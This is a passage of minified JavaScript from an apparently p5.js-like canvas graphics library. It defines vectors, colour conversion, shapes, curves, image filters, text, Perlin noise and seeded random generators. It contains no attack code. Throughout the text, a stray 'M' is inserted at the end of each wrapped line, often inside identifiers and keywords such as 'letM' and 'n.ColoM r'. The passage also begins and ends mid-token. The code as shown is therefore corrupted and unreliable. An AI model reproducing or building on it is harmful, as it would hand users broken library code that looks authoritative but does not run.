on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
